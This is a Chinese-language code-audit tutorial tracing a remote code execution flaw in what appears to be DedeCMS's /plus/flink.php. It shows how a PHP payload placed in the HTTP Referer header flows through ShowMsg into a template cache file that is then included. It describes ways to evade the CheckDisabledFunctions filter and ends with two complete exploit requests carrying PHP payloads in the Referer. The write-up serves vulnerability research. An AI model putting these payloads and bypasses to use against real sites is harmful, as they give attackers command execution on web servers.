本次文章給大家帶來代碼審計漏洞挖掘的思路,從已知可控變量出發或從函數功能可能照成的隱患出發,追蹤參數調用及過濾。最終完成代碼的隱患漏洞利用過程。
代碼審計挖掘思路
首先flink.php文件的代碼執行邏輯,可以使用php的調試功能輔助審計
我們注意到參數dopost 為save 進入條件塊中執行,查看相關調用函數,分析是否還有其他的取參處理的邏輯。
函數ShowMsg
我們注意到變量gourl取值http的referer頭,據注釋來看貌似是跳轉的地址,那么我們首先會想到是CSRF或者SSRF,看看后面有沒有過濾,或有其他的處理邏輯。
在后面的處理的邏輯中定義了 $htmlhead $htmlfoot變量。
那么我們有理由猜測之后的處理邏輯就是渲染輸出。如果之中有參數可控,我們可以嘗試插入js代碼進行xss攻擊,如果服務端進行了模板渲染,我們可以選擇模板注入,表達式注入。甚至為后端的代碼注入。
著重看一下可控參數$gourl 的處理方式
現在可以確認的是可控參數已經在變量&msg , 跟進loadstring函數查看處理邏輯
變量存入了DedeTemplate類中成員變量sourceString中。
右鍵查找調用者
GetResult函數將調用這個參數。GetResult()
?的實現,目的是生成并返回一個處理后的字符串。一個有效的 PHP 代碼段,通過使用正則表達式進行清理,確保返回的字符串沒有冗余的標簽。
繼續分析GetResult函數的調用者,及調用者的處理邏輯。
GetResult函數的返回值經CheckDisabledFunctions函數過濾后寫入了。
CheckDisabledFunctions 過濾了一些危險函數方法。我們也有理由相信我們的可控參數一定程序上是可以執行php代碼的
可以繼續分析WriteCache的調用者,也可以從程序處理后一步一步調,看看能不能函數能不能交匯
在之后的display中,發現有writeCache的調用,而且之后i使用文件包含include 生成的cacheFile文件(這點的邏輯可以在WriteCache函數中看)。
那么現在我們的思路就很明顯了,
利用可控變量Referer完成 代碼段的閉合!
function JumpUrl(){
? if(pgo==0){ location='$gourl'; pgo=1; }
}
默認是在jumpurl函數中,如果默認沒調用JumpUrl 我們則可以嘗試去閉合這個函數,然后代碼執行,
還要考慮一件事情,不能被CheckDisabledFunctions函數檢測到,
思路:
1.插入"來繞過 這個會干擾token_get_all_nl函數的提取??(復現方式1)
2.使用php中類似表達式的機制<?=
calc?>
?(復現方式2)
3.結合PHP的流機制 命令執行繞過(跟包含文件相關)
漏洞復現
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?php "system"(calc);?>
Connection: close
Cache-Control: max-age=0z
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?=`calc`?>
Connection: close
Cache-Control: max-age=0